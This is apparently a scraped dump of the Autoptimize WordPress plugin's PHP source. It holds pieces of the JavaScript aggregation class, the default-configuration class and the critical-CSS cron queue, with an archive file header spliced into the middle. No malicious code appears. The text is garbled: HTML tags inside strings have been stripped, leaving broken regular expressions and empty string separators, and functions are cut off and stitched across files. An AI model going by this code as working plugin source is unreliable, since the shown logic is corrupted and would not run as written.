array(), 'last' => array(), ); /** * List of not to be moved JS. * * @var array */ private $dontmove = array( 'document.write', 'html5.js', 'show_ads.js', 'google_ad', 'histats.com/js', 'statcounter.com/counter/counter.js', 'ws.amazon.com/widgets', 'media.fastclick.net', '/ads/', 'comment-form-quicktags/quicktags.php', 'edToolbar', 'intensedebate.com', 'scripts.chitika.net/', '_gaq.push', 'jotform.com/', 'admin-bar.min.js', 'GoogleAnalyticsObject', 'plupload.full.min.js', 'syntaxhighlighter', 'adsbygoogle', 'gist.github.com', '_stq', 'nonce', 'post_id', 'data-noptimize', 'data-cfasync', 'data-pagespeed-no-defer', 'logHuman', 'amp-mobile-version-switcher', 'data-rocketlazyloadscript', 'rocket-browser-checker-js-after', ); /** * List of to be moved JS. * * @var array */ private $domove = array( 'gaJsHost', 'load_cmc', 'jd.gallery.transitions.js', 'swfobject.embedSWF(', 'tiny_mce.js', 'tinyMCEPreInit.go', ); /** * List of JS that can be moved last (not used any more). * * @var array */ private $domovelast = array( 'addthis.com', '/afsonline/show_afs_search.js', 'disqus.js', 'networkedblogs.com/getnetworkwidget', 'infolinks.com/js/', 'jd.gallery.js.php', 'jd.gallery.transitions.js', 'swfobject.embedSWF(', 'linkwithin.com/widget.js', 'tiny_mce.js', 'tinyMCEPreInit.go', ); /** * Setting CDN base URL. * * @var string */ public $cdn_url = ''; /** * Setting; aggregate or not. * * @var bool */ private $aggregate = true; /** * Setting; if not aggregated, should we defer? * * @var bool */ private $defer_not_aggregate = false; /** * Setting; defer inline JS? * * @var bool */ private $defer_inline = false; /** * Setting; try/catch wrapping or not. * * @var bool */ private $trycatch = false; /** * State; is JS already minified. * * @var bool */ private $alreadyminified = false; /** * Setting; force JS in head or not. * * @var bool */ private $forcehead = true; /** * Setting; aggregate inline JS or not. * * @var bool */ private $include_inline = false; /** * State; holds JS code. * * @var string */ private $jscode = ''; /** * State; holds URL of JS-file. * * @var string */ private $url = ''; /** * State; stores rest of HTML if (old) option "only in head" is on. * * @var string */ private $restofcontent = ''; /** * State; holds md5-hash. * * @var string */ private $md5hash = ''; /** * Setting (filter); allowlist of to be aggregated JS. * * @var string */ private $allowlist = ''; /** * Setting (filter); holds JS that should be removed. * * @var array */ private $jsremovables = array(); /** * Setting (filter); can we inject already minified files after the * unminified aggregate JS has been minified. * * @var bool */ private $inject_min_late = true; /** * Setting; should excluded JS be minified (if not already). * * @var bool */ private $minify_excluded = true; /** * Reads the page and collects script tags. * * @param array $options all options. */ public function read( $options ) { $noptimize_js = false; // If page/ post check post_meta to see if optimize is off. if ( false === autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_js_optimize' ) ) { $noptimize_js = true; } // And a filter to enforce JS noptimize. $noptimize_js = apply_filters( 'autoptimize_filter_js_noptimize', $noptimize_js, $this->content ); // And finally bail if noptimize_js is true. if ( $noptimize_js ) { return false; } // only optimize known good JS? $allowlist_js = apply_filters( 'autoptimize_filter_js_allowlist', '', $this->content ); if ( ! empty( $allowlist_js ) ) { $this->allowlist = array_filter( array_map( 'trim', explode( ',', $allowlist_js ) ) ); } // is there JS we should simply remove? $removable_js = apply_filters( 'autoptimize_filter_js_removables', '', $this->content ); if ( ! empty( $removable_js ) ) { $this->jsremovables = array_filter( array_map( 'trim', explode( ',', $removable_js ) ) ); } // only header? if ( apply_filters( 'autoptimize_filter_js_justhead', $options['justhead'] ) ) { $content = explode( '', $this->content, 2 ); $this->content = $content[0] . ''; $this->restofcontent = $content[1]; } // Determine whether we're doing JS-files aggregation or not. if ( ! $options['aggregate'] ) { $this->aggregate = false; } // Returning true for "dontaggregate" turns off aggregation. if ( $this->aggregate && apply_filters( 'autoptimize_filter_js_dontaggregate', false ) ) { $this->aggregate = false; } // and the filter that should have been there to begin with. $this->aggregate = apply_filters( 'autoptimize_filter_js_aggregate', $this->aggregate ); // Defer when not aggregating. if ( false === $this->aggregate && apply_filters( 'autoptimize_filter_js_defer_not_aggregate', $options['defer_not_aggregate'] ) ) { $this->defer_not_aggregate = true; } // Defer inline JS? if ( ( true === $this->defer_not_aggregate && apply_filters( 'autoptimize_js_filter_defer_inline', $options['defer_inline'] ) ) || apply_filters( 'autoptimize_js_filter_force_defer_inline', false ) ) { $this->defer_inline = true; } // include inline? if ( apply_filters( 'autoptimize_js_include_inline', $options['include_inline'] ) ) { $this->include_inline = true; } // filter to "late inject minified JS", default to true for now (it is faster). $this->inject_min_late = apply_filters( 'autoptimize_filter_js_inject_min_late', true ); // filters to override hardcoded do(nt)move(last) array contents (array in, array out!). $this->dontmove = apply_filters( 'autoptimize_filter_js_dontmove', $this->dontmove ); $this->domovelast = apply_filters( 'autoptimize_filter_js_movelast', $this->domovelast ); $this->domove = apply_filters( 'autoptimize_filter_js_domove', $this->domove ); // Determine whether excluded files should be minified if not yet so. if ( ! $options['minify_excluded'] && $options['aggregate'] ) { $this->minify_excluded = false; } $this->minify_excluded = apply_filters( 'autoptimize_filter_js_minify_excluded', $this->minify_excluded, '' ); // get extra exclusions settings or filter. $exclude_js = $options['js_exclude']; $exclude_js = apply_filters( 'autoptimize_filter_js_exclude', $exclude_js, $this->content ); if ( '' !== $exclude_js ) { if ( is_array( $exclude_js ) ) { $remove_keys = array_keys( $exclude_js, 'remove' ); if ( false !== $remove_keys ) { foreach ( $remove_keys as $remove_key ) { unset( $exclude_js[ $remove_key ] ); $this->jsremovables[] = $remove_key; } } $excl_js_arr = array_keys( $exclude_js ); } else { $excl_js_arr = array_filter( array_map( 'trim', explode( ',', $exclude_js ) ) ); } $this->dontmove = array_merge( $excl_js_arr, $this->dontmove ); } // Should we add try-catch? if ( $options['trycatch'] ) { $this->trycatch = true; } // force js in head? if ( $options['forcehead'] ) { $this->forcehead = true; } else { $this->forcehead = false; } $this->forcehead = apply_filters( 'autoptimize_filter_js_forcehead', $this->forcehead ); // get cdn url. $this->cdn_url = $options['cdn_url']; // noptimize me. $this->content = $this->hide_noptimize( $this->content ); // Save IE hacks. $this->content = $this->hide_iehacks( $this->content ); // comments. $this->content = $this->hide_comments( $this->content ); // Get script files. if ( preg_match_all( '##Usmi', $this->content, $matches ) ) { foreach ( $matches[0] as $tag ) { // only consider script aggregation for types allowlisted in should_aggregate-function. $should_aggregate = $this->should_aggregate( $tag ); if ( ! $should_aggregate ) { $tag = ''; continue; } if ( preg_match( '#]*src=("|\')([^>]*)("|\')#Usmi', $tag, $source ) ) { // non-inline script. if ( $this->isremovable( $tag, $this->jsremovables ) ) { $this->content = str_replace( $tag, '', $this->content ); continue; } $orig_tag = null; $url = current( explode( '?', $source[2], 2 ) ); $path = $this->getpath( $url ); if ( false !== $path && preg_match( '#\.js$#', $path ) && $this->ismergeable( $tag ) ) { // ok to optimize, add to array. $this->scripts[] = $path; } else { $orig_tag = $tag; $new_tag = $tag; // non-mergeable script (excluded or dynamic or external). if ( is_array( $exclude_js ) ) { // should we add flags? foreach ( $exclude_js as $excl_tag => $excl_flags ) { if ( false !== strpos( $orig_tag, $excl_tag ) && in_array( $excl_flags, array( 'async', 'defer' ) ) ) { $new_tag = str_replace( '#Usmi', $tag, $code ); $code = preg_replace( '#.*.*#sm', '$1', $code[1] ); $code = preg_replace( '/(?:^\\s*\\s*$)/', '', $code ); $this->scripts[] = 'INLINE;' . $code; } else { $_inline_deferable = apply_filters( 'autoptimize_filters_js_inline_deferable', array( 'nonce', 'post_id', 'syntaxhighlighter' ) ); $_inline_dontmove = array_values( array_diff( $this->dontmove, $_inline_deferable ) ); if ( false === $this->defer_inline ) { // Can we move this? $autoptimize_js_moveable = apply_filters( 'autoptimize_js_moveable', '', $tag ); if ( $this->ismovable( $tag ) || '' !== $autoptimize_js_moveable ) { if ( $this->movetolast( $tag ) || 'last' === $autoptimize_js_moveable ) { $this->move['last'][] = $tag; } else { $this->move['first'][] = $tag; } } else { $tag = ''; } } else if ( str_replace( $_inline_dontmove, '', $tag ) === $tag && strlen( $tag ) < apply_filters( 'autoptimize_filter_script_defer_inline_maxsize', 200000 ) ) { // defer inline JS by base64 encoding it but only if string is not ridiculously huge (to avoid issues with below regex mainly). preg_match( '#](?!id=))*\s*(?:id=(["\'])([^"\']+)\1)*+[^>]*+>(.*?)<\/script>#is', $tag, $match ); if ( $match[2] ) { $_id = 'id="' . $match[2] . '" '; } else { $_id = ''; } // if "minify inline" is on and if more then 9 spaces or 4 line breaks are found // in the inline JS then it is likely not minified, so minify before base64-encoding. $_script_contents = $match[3]; if ( 'on' === autoptimizeOptionWrapper::get_option( 'autoptimize_html_minify_inline', 'off' ) && substr_count( $_script_contents, ' ' ) > 9 && substr_count( $_script_contents, "\n" ) > 4 && true === apply_filters( 'autoptimize_filter_script_defer_inline_minify', true ) ) { $_tmp_script_contents = trim( JSMin::minify( $_script_contents ) ); if ( ! empty( $_tmp_script_contents ) ) { $_script_contents = $_tmp_script_contents; } } // base64 and defer the lot already. $new_tag = ''; $this->content = str_replace( $this->hide_comments( $tag ), $new_tag, $this->content ); $tag = ''; } else { $tag = ''; } } // Re-hide comments to be able to do the removal based on tag from $this->content. $tag = $this->hide_comments( $tag ); } // Remove the original script tag. $this->content = str_replace( $tag, '', $this->content ); } return true; } // No script files, great ;-) . return false; } /** * Determines wheter a certain `'; $bodyreplacementpayload = apply_filters( 'autoptimize_filter_js_bodyreplacementpayload', $bodyreplacementpayload ); $bodyreplacement = implode( '', $this->move['first'] ); $bodyreplacement .= $bodyreplacementpayload; $bodyreplacement .= implode( '', $this->move['last'] ); $replace_tag = apply_filters( 'autoptimize_filter_js_replacetag', $replace_tag ); if ( strlen( $this->jscode ) > 0 ) { $this->inject_in_html( $bodyreplacement, $replace_tag ); } // Restore comments. $this->content = $this->restore_comments( $this->content ); // Restore IE hacks. $this->content = $this->restore_iehacks( $this->content ); // Restore noptimize. $this->content = $this->restore_noptimize( $this->content ); // Return the modified HTML. return $this->content; } /** * Checks against the allow- and blocklists. * * @param string $tag JS tag. */ private function ismergeable( $tag ) { if ( empty( $tag ) || ! $this->aggregate ) { return false; } if ( ! empty( $this->allowlist ) ) { foreach ( $this->allowlist as $match ) { if ( false !== strpos( $tag, $match ) ) { return true; } } // No match with allowlist. return false; } else { foreach ( $this->domove as $match ) { if ( false !== strpos( $tag, $match ) ) { // Matched something. return false; } } if ( $this->movetolast( $tag ) ) { return false; } foreach ( $this->dontmove as $match ) { if ( false !== strpos( $tag, $match ) ) { // Matched something. return false; } } // If we're here it's safe to merge. return true; } } /** * Checks agains the blocklist. * * @param string $tag tag to check for blocklist (exclusions). */ private function ismovable( $tag ) { if ( empty( $tag ) || true !== $this->include_inline || apply_filters( 'autoptimize_filter_js_unmovable', true ) ) { return false; } foreach ( $this->domove as $match ) { if ( false !== strpos( $tag, $match ) ) { // Matched something. return true; } } if ( $this->movetolast( $tag ) ) { return true; } foreach ( $this->dontmove as $match ) { if ( false !== strpos( $tag, $match ) ) { // Matched something. return false; } } // If we're here it's safe to move. return true; } private function movetolast( $tag ) { if ( empty( $tag ) ) { return false; } foreach ( $this->domovelast as $match ) { if ( false !== strpos( $tag, $match ) ) { // Matched, return true. return true; } } // Should be in 'first'. return false; } /** * Determines wheter a
%s', esc_html__( 'Settings' ) ); array_unshift( $links, $settings_link ); } else { // 2.8 and higher. // If it's us, add the link. if ( $file === $plugin ) { $newlink = array( sprintf( '%s', esc_html__( 'Settings' ) ) ); $links = array_merge( $links, $newlink ); } } return $links; } /** * Provides the default options. * * @return array */ public static function get_defaults() { static $config = array( 'autoptimize_html' => 1, 'autoptimize_html_keepcomments' => 0, 'autoptimize_html_minify_inline' => 0, 'autoptimize_enable_site_config' => 1, 'autoptimize_js' => 1, 'autoptimize_js_aggregate' => 0, 'autoptimize_js_defer_not_aggregate' => 1, 'autoptimize_js_defer_inline' => 1, 'autoptimize_js_exclude' => '', 'autoptimize_js_trycatch' => 0, 'autoptimize_js_justhead' => 0, 'autoptimize_js_include_inline' => 0, 'autoptimize_js_forcehead' => 0, 'autoptimize_css' => 1, 'autoptimize_css_aggregate' => 0, 'autoptimize_css_exclude' => '', 'autoptimize_css_justhead' => 0, 'autoptimize_css_include_inline' => 0, 'autoptimize_css_defer' => 0, 'autoptimize_css_defer_inline' => '', 'autoptimize_css_inline' => 0, 'autoptimize_css_datauris' => 0, 'autoptimize_cdn_url' => '', 'autoptimize_cache_nogzip' => 1, 'autoptimize_optimize_logged' => 1, 'autoptimize_optimize_checkout' => 0, 'autoptimize_minify_excluded' => 1, 'autoptimize_cache_fallback' => 1, 'autoptimize_enable_meta_ao_settings' => 1, 'autoptimize_installed_before_compatibility' => 0, ); return $config; } /** * Returns default option values for autoptimizeExtra. * * @return array */ public static function get_ao_extra_default_options() { $defaults = array( 'autoptimize_extra_checkbox_field_1' => '0', 'autoptimize_extra_checkbox_field_0' => '0', 'autoptimize_extra_radio_field_4' => '1', 'autoptimize_extra_text_field_2' => '', 'autoptimize_extra_text_field_3' => '', 'autoptimize_extra_text_field_7' => '', 'autoptimize_extra_checkbox_field_8' => '0', ); return $defaults; } /** * Returns default option values for autoptimizeExtra. * * @return array */ public static function get_ao_imgopt_default_options() { $defaults = array( 'autoptimize_imgopt_checkbox_field_1' => '0', // imgopt off. 'autoptimize_imgopt_select_field_2' => '2', // quality glossy. 'autoptimize_imgopt_checkbox_field_3' => '0', // lazy load off. 'autoptimize_imgopt_checkbox_field_4' => '0', // avif off (might be removed). 'autoptimize_imgopt_text_field_5' => '', // lazy load exclusions empty. 'autoptimize_imgopt_text_field_6' => '', // optimization exclusions empty. 'autoptimize_imgopt_number_field_7' => '2', // lazy load from nth image (0 = lazyload all). ); return $defaults; } /** * Returns preload JS onload handler. * * @param string $media media attribute value the JS to use. * * @return string */ public static function get_ao_css_preload_onload( $media = 'all' ) { $preload_onload = apply_filters( 'autoptimize_filter_css_preload_onload', "this.onload=null;this.media='" . $media . "';" ); return $preload_onload; } public function get( $key ) { if ( ! is_array( $this->config ) ) { // Default config. $config = self::get_defaults(); // Override with user settings. foreach ( array_keys( $config ) as $name ) { $conf = autoptimizeOptionWrapper::get_option( $name ); if ( false !== $conf ) { // It was set before! $config[ $name ] = $conf; } } // Save for next call. $this->config = apply_filters( 'autoptimize_filter_get_config', $config ); } if ( isset( $this->config[ $key ] ) ) { return $this->config[ $key ]; } return false; } private function get_futtta_feeds( $url ) { if ( $this->settings_screen_do_remote_http ) { $rss = fetch_feed( $url ); $maxitems = 0; if ( ! is_wp_error( $rss ) ) { $maxitems = $rss->get_item_quantity( 7 ); $rss_items = $rss->get_items( 0, $maxitems ); } ?> esc_html__( 'JS, CSS & HTML', 'autoptimize' ) ) ); $tab_content = ''; $tabs_count = count( $tabs ); if ( $tabs_count > 1 ) { if ( isset( $_GET['page'] ) ) { $current_id = $_GET['page']; } else { $current_id = 'autoptimize'; } $tab_content .= ''; } else { $tab_content = '
'; } return $tab_content; } /** * Returns true if in admin (and not in admin-ajax.php!) * * @return bool */ public static function is_admin_and_not_ajax() { return ( is_admin() && ! self::doing_ajax() ); } /** * Returns true if doing ajax. * * @return bool */ protected static function doing_ajax() { if ( function_exists( 'wp_doing_ajax' ) ) { return wp_doing_ajax(); } return ( defined( 'DOING_AJAX' ) && DOING_AJAX ); } /** * Returns true menu or tab is to be shown. * * @return bool */ public static function should_show_menu_tabs() { if ( ! is_multisite() || is_network_admin() || 'on' === autoptimizeOptionWrapper::get_option( 'autoptimize_enable_site_config' ) || false === autoptimizeOptionWrapper::is_ao_active_for_network() ) { return true; } else { return false; } } /** * Returns the post meta AO settings for reuse in different optimizers. * * @param string $optim What optimization we need meta setting for. * * @return bool */ public static function get_post_meta_ao_settings( $optim ) { if ( ! autoptimizeConfig::is_ao_meta_settings_active() ) { // Per page/post settings not active, so always return true (as in; can be optimized). if ( in_array( $optim, apply_filters( 'autoptimize_filter_meta_inactive_return_false_for', array( 'ao_post_preload' ) ) ) ) { // but make sure to return false for text input. return false; } return true; } static $_meta_value = null; if ( null === $_meta_value ) { global $wp_query; if ( isset( $wp_query ) ) { $_meta_value = get_post_meta( get_the_ID(), 'ao_post_optimize', true ); } else { $_meta_value = false; } } // If autoptimize_post_optimize !== 'on' (except for ao_post_preload, which can have other values) then always return false as all is off. // fixme: need unit tests to ensure below logic is sane! if ( empty( $_meta_value ) || ! is_array( $_meta_value ) ) { // no metabox values so all optimizations are a go. if ( in_array( $optim, apply_filters( 'autoptimize_filter_meta_optim_nonbool', array( 'ao_post_preload' ) ) ) ) { // but make sure to return false for text input. return false; } return true; } else if ( array_key_exists( 'ao_post_optimize', $_meta_value ) && 'on' !== $_meta_value['ao_post_optimize'] ) { // ao entirely off for this page. return false; } else if ( in_array( $optim, apply_filters( 'autoptimize_filter_meta_optim_with_filters', array() ) ) ) { // if an $optim is registered as having a filter, apply filter and return that (default false). return apply_filters( 'autoptimize_filter_meta_filtered_optim', false, $optim, $_meta_value ); } else if ( array_key_exists( $optim, $_meta_value ) && empty( $_meta_value[ $optim ] ) ) { // sub-optimization off for this page. return false; } else if ( array_key_exists( $optim, $_meta_value ) && 'on' === $_meta_value[ $optim ] ) { // sub-optimization is explictly on. return true; } else if ( array_key_exists( $optim, $_meta_value ) && in_array( $optim, array( 'ao_post_preload' ) ) && ! empty( $_meta_value[ $optim ] ) ) { // a non-bool metabox optimization (currently only preload field), return value instead of bool. return $_meta_value[ $optim ]; } else if ( in_array( $optim, array( 'ao_post_preload' ) ) && ( ! array_key_exists( $optim, $_meta_value ) || empty( $_meta_value[ $optim ] ) ) ) { // a non-bool metabox optimization not found or empty, so returning false. return false; } else { // when in doubt "go" for optimization, but this should never happen? if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) { error_log( 'AO meta box logic fallback; well, how did I get here? Maybe this helps: looking for ' . $optim . ' in ' . json_encode( $_meta_value ) ); } return true; } } /** * Are the post meta AO settings active (default: no)? * * @return bool */ public static function is_ao_meta_settings_active() { static $_meta_settings_active = null; if ( null === $_meta_settings_active ) { $_meta_settings_active = apply_filters( 'autoptimize_filter_enable_meta_ao_settings', autoptimizeOptionWrapper::get_option( 'autoptimize_enable_meta_ao_settings', '1' ) ); } return $_meta_settings_active; } } plugins/autoptimize-/classes/autoptimizeCriticalCSSCron.php000064400000133231152335264760020262 0ustar00criticalcss = autoptimize()->criticalcss(); // Add queue control to a registered event. add_action( 'ao_ccss_queue', array( $this, 'ao_ccss_queue_control' ) ); // Add cleaning job to a registered event. add_action( 'ao_ccss_maintenance', array( $this, 'ao_ccss_cleaning' ) ); } public function ao_ccss_queue_control() { // The queue execution backend. $key = $this->criticalcss->get_option( 'key' ); if ( empty( $key ) ) { // no key set, not processing the queue! $this->criticalcss->log( 'No key set, so not processing queue.', 3 ); return; } /** * Provide a debug facility for the queue * This debug facility provides a way to easily force some queue behaviors useful for development and testing. * To enable this feature, create the file AO_CCSS_DIR . 'queue.json' with a JSON object like the one bellow: * * {"enable":bool,"htcode":int,"status":0|"str","resultStatus ":0|"str","validationStatus":0|"str"} * * Where values are: * - enable : 0 or 1, enable or disable this debug facility straight from the file * - htcode : 0 or any HTTP reponse code (e.g. 2xx, 4xx, 5xx) to force API responses * - status : 0 or a valid value for 'status' (see 'Generating critical css - Job Status Types' in spec docs) * - resultStatus : 0 or a valid value for 'resultStatus' (see 'Appendix - Result status types' in the spec docs) * - validationStatus: 0 or a valid value for 'validationStatus' (see 'Appendix - Validation status types' in the spec docs) * * When properly set, queue will always finish a job with the declared settings above regardless of the real API responses. */ $queue_debug = false; if ( file_exists( AO_CCSS_DEBUG ) ) { $qdobj_raw = file_get_contents( AO_CCSS_DEBUG ); $qdobj = json_decode( $qdobj_raw, true ); if ( $qdobj ) { if ( 1 === $qdobj['enable'] ) { $queue_debug = true; $this->criticalcss->log( 'Queue operating in debug mode with the following settings: <' . $qdobj_raw . '>', 3 ); } } } // Set some default values for $qdobj to avoid function call warnings. if ( ! $queue_debug ) { $qdobj['htcode'] = false; } // Check if queue is already running. $queue_lock = false; if ( file_exists( AO_CCSS_LOCK ) ) { $queue_lock = true; } // Proceed with the queue if it's not already running. if ( ! $queue_lock ) { // Log queue start and create the lock file. $this->criticalcss->log( 'Queue control started', 3 ); if ( touch( AO_CCSS_LOCK ) ) { $this->criticalcss->log( 'Queue control locked', 3 ); } // Attach required variables. $queue = $this->criticalcss->get_option( 'queue' ); $rtimelimit = $this->criticalcss->get_option( 'rtimelimit' ); // make sure we have the queue and bail if not. if ( empty( $queue ) || ! is_array( $queue ) ) { $this->criticalcss->log( 'Job processing cannot work on an empty queue, aborting.', 3 ); unlink( AO_CCSS_LOCK ); return; } // Initialize counters. if ( empty( $rtimelimit ) || 0 == $rtimelimit ) { // no time limit set, let's go with 1000 seconds. $rtimelimit = 1000; } $mt = time() + (int) $rtimelimit; // maxtime queue processing can run. $jc = 1; // job count number. $jr = 1; // jobs requests number. $jt = count( $queue ); // number of jobs in queue. // Sort queue by ascending job status (e.g. ERROR, JOB_ONGOING, JOB_QUEUED, NEW...). array_multisort( array_column( $queue, 'jqstat' ), $queue ); // @codingStandardsIgnoreLine // Iterates over the entire queue. foreach ( $queue as $path => $jprops ) { // Prepare flags and target rule. $update = false; $deljob = false; $rule_update = false; $oldccssfile = false; $trule = explode( '|', $jprops['rtarget'] ); // Log job count. $this->criticalcss->log( 'Processing job ' . $jc . ' of ' . $jt . ' with id <' . $jprops['ljid'] . '> and status <' . $jprops['jqstat'] . '>', 3 ); // Process NEW jobs. if ( 'NEW' == $jprops['jqstat'] ) { // Log the new job. $this->criticalcss->log( 'Found NEW job with local ID <' . $jprops['ljid'] . '>, starting its queue processing', 3 ); // Compare job and rule hashes (if any). $hash = $this->ao_ccss_diff_hashes( $jprops['ljid'], $jprops['hash'], $jprops['hashes'], $jprops['rtarget'] ); // If job hash is new or different of a previous one. if ( $hash ) { if ( $jr > 2 ) { // we already posted 2 jobs to criticalcss.com, don't post more this run // but we can keep on processing the queue to keep it tidy. $this->criticalcss->log( 'Holding off on generating request for job with local ID <' . $jprops['ljid'] . '>, maximum number of POSTS reached.', 3 ); continue; } // Set job hash. $jprops['hash'] = $hash; // Dispatch the job generate request and increment request count. $apireq = $this->ao_ccss_api_generate( $path, $queue_debug, $qdobj['htcode'] ); $jr++; // NOTE: All the following conditions maps to the ones in admin_settings_queue.js.php. if ( empty( $apireq ) ) { // ERROR: no response // Update job properties. $jprops['jqstat'] = 'NO_RESPONSE'; $jprops['jrstat'] = 'NONE'; $jprops['jvstat'] = 'NONE'; $jprops['jftime'] = microtime( true ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> request has no response, status now is <' . $jprops['jqstat'] . '>', 3 ); } elseif ( array_key_exists( 'errorCode', $apireq ) && 'INVALID_JWT_TOKEN' == $apireq['errorCode'] ) { // ERROR: key validation // Update job properties. $jprops['jqstat'] = $apireq['errorCode']; $jprops['jrstat'] = $apireq['error']; $jprops['jvstat'] = 'NONE'; $jprops['jftime'] = microtime( true ); $this->criticalcss->log( 'API key validation error when processing job id <' . $jprops['ljid'] . '>, job status is now <' . $jprops['jqstat'] . '>', 3 ); } elseif ( array_key_exists( 'job', $apireq ) && array_key_exists( 'status', $apireq['job'] ) && ( 'JOB_QUEUED' == $apireq['job']['status'] || 'JOB_ONGOING' == $apireq['job']['status'] ) ) { // SUCCESS: request has a valid result. // Update job properties. $jprops['jid'] = $apireq['job']['id']; $jprops['jqstat'] = $apireq['job']['status']; $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> generate request successful, remote id <' . $jprops['jid'] . '>, status now is <' . $jprops['jqstat'] . '>', 3 ); } elseif ( array_key_exists( 'job', $apireq ) && array_key_exists( 'status', $apireq['job'] ) && 'STATUS_JOB_BAD' == $apireq['job']['status'] ) { // ERROR: concurrent requests // Update job properties. $jprops['jid'] = $apireq['job']['id']; $jprops['jqstat'] = $apireq['job']['status']; if ( $apireq['job']['error'] ) { $jprops['jrstat'] = $apireq['job']['error']; } else { $jprops['jrstat'] = 'Baby did a bad bad thing'; } $jprops['jvstat'] = 'NONE'; $jprops['jftime'] = microtime( true ); $this->criticalcss->log( 'Concurrent requests when processing job id <' . $jprops['ljid'] . '>, job status is now <' . $jprops['jqstat'] . '>', 3 ); } else { // UNKNOWN: unhandled generate exception // Update job properties. $jprops['jqstat'] = 'JOB_UNKNOWN'; $jprops['jrstat'] = 'NONE'; $jprops['jvstat'] = 'NONE'; $jprops['jftime'] = microtime( true ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> generate request has an UNKNOWN condition, status now is <' . $jprops['jqstat'] . '>, check log messages above for more information', 2 ); $this->criticalcss->log( 'Job response was: ' . json_encode( $apireq ), 3 ); } } else { // SUCCESS: Job hash is equal to a previous one, so it's done // Update job status and finish time. $jprops['jqstat'] = 'JOB_DONE'; $jprops['jftime'] = microtime( true ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> requires no further processing, status now is <' . $jprops['jqstat'] . '>', 3 ); } // Set queue update flag. $update = true; } elseif ( 'JOB_QUEUED' == $jprops['jqstat'] || 'JOB_ONGOING' == $jprops['jqstat'] ) { // Process QUEUED and ONGOING jobs // Log the pending job. $this->criticalcss->log( 'Found PENDING job with local ID <' . $jprops['ljid'] . '>, continuing its queue processing', 3 ); // Dispatch the job result request and increment request count. $apireq = $this->ao_ccss_api_results( $jprops['jid'], $queue_debug, $qdobj['htcode'] ); // NOTE: All the following condigitons maps to the ones in admin_settings_queue.js.php // Replace API response values if queue debugging is enabled and some value is set. if ( $queue_debug ) { if ( $qdobj['status'] ) { $apireq['status'] = $qdobj['status']; } if ( $qdobj['resultStatus'] ) { $apireq['resultStatus'] = $qdobj['resultStatus']; } if ( $qdobj['validationStatus'] ) { $apireq['validationStatus'] = $qdobj['validationStatus']; } } if ( empty( $apireq ) || ! is_array( $apireq ) ) { // ERROR: no response // Update job properties. $jprops['jqstat'] = 'NO_RESPONSE'; $jprops['jrstat'] = 'NONE'; $jprops['jvstat'] = 'NONE'; $jprops['jftime'] = microtime( true ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> request has no response, status now is <' . $jprops['jqstat'] . '>', 3 ); } elseif ( array_key_exists( 'status', $apireq ) && ( 'JOB_QUEUED' == $apireq['status'] || 'JOB_ONGOING' == $apireq['status'] ) ) { // SUCCESS: request has a valid result // Process a PENDING job // Update job properties. $jprops['jqstat'] = $apireq['status']; $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> result request successful, remote id <' . $jprops['jid'] . '>, status <' . $jprops['jqstat'] . '> unchanged', 3 ); } elseif ( array_key_exists( 'status', $apireq ) && 'JOB_DONE' == $apireq['status'] ) { // Process a DONE job // New resultStatus from ccss.com "HTML_404", consider as "GOOD" for now. if ( 'HTML_404' == $apireq['resultStatus'] ) { $apireq['resultStatus'] = 'GOOD'; } if ( 'GOOD' == $apireq['resultStatus'] && ( 'GOOD' == $apireq['validationStatus'] || 'WARN' == $apireq['validationStatus'] ) ) { // SUCCESS: GOOD job with GOOD or WARN validation // Update job properties. $jprops['file'] = $this->ao_ccss_save_file( $apireq['css'], $trule, false ); $jprops['jqstat'] = $apireq['status']; $jprops['jrstat'] = $apireq['resultStatus']; $jprops['jvstat'] = $apireq['validationStatus']; $jprops['jftime'] = microtime( true ); $rule_update = true; do_action( 'autoptimize_action_ccss_cron_rule_saved', $jprops['rtarget'], $jprops['file'] ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> result request successful, remote id <' . $jprops['jid'] . '>, status <' . $jprops['jqstat'] . '>, file saved <' . $jprops['file'] . '>', 3 ); } elseif ( 'GOOD' == $apireq['resultStatus'] && ( 'BAD' == $apireq['validationStatus'] || 'SCREENSHOT_WARN_BLANK' == $apireq['validationStatus'] ) ) { // SUCCESS: GOOD job with BAD or SCREENSHOT_WARN_BLANK validation // Update job properties. $jprops['jqstat'] = $apireq['status']; $jprops['jrstat'] = $apireq['resultStatus']; $jprops['jvstat'] = $apireq['validationStatus']; $jprops['jftime'] = microtime( true ); if ( apply_filters( 'autoptimize_filter_ccss_save_review_rules', true ) ) { $jprops['file'] = $this->ao_ccss_save_file( $apireq['css'], $trule, true ); $rule_update = true; do_action( 'autoptimize_action_ccss_cron_rule_saved', $jprops['rtarget'], $jprops['file'] ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> result request successful, remote id <' . $jprops['jid'] . '>, status <' . $jprops['jqstat'] . ', file saved <' . $jprops['file'] . '> but requires REVIEW', 3 ); } else { $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> result request successful, remote id <' . $jprops['jid'] . '>, status <' . $jprops['jqstat'] . ', file not saved because it required REVIEW.', 3 ); } } elseif ( 'GOOD' != $apireq['resultStatus'] && ( 'GOOD' != $apireq['validationStatus'] || 'WARN' != $apireq['validationStatus'] || 'BAD' != $apireq['validationStatus'] || 'SCREENSHOT_WARN_BLANK' != $apireq['validationStatus'] ) ) { // ERROR: no GOOD, WARN or BAD results // Update job properties. $jprops['jqstat'] = $apireq['status']; $jprops['jrstat'] = $apireq['resultStatus']; $jprops['jvstat'] = $apireq['validationStatus']; $jprops['jftime'] = microtime( true ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> result request successful but job FAILED, status now is <' . $jprops['jqstat'] . '>', 3 ); $apireq['css'] = '/* critical css removed for DEBUG logging purposes */'; $this->criticalcss->log( 'Job response was: ' . json_encode( $apireq ), 3 ); } else { // UNKNOWN: unhandled JOB_DONE exception // Update job properties. $jprops['jqstat'] = 'JOB_UNKNOWN'; $jprops['jrstat'] = $apireq['resultStatus']; $jprops['jvstat'] = $apireq['validationStatus']; $jprops['jftime'] = microtime( true ); $this->criticalcss->log( 'Job id <' . $jprops['ljid'] . '> result request successful but job is UNKNOWN, status now is <' . $jprops['jqstat'] . '>', 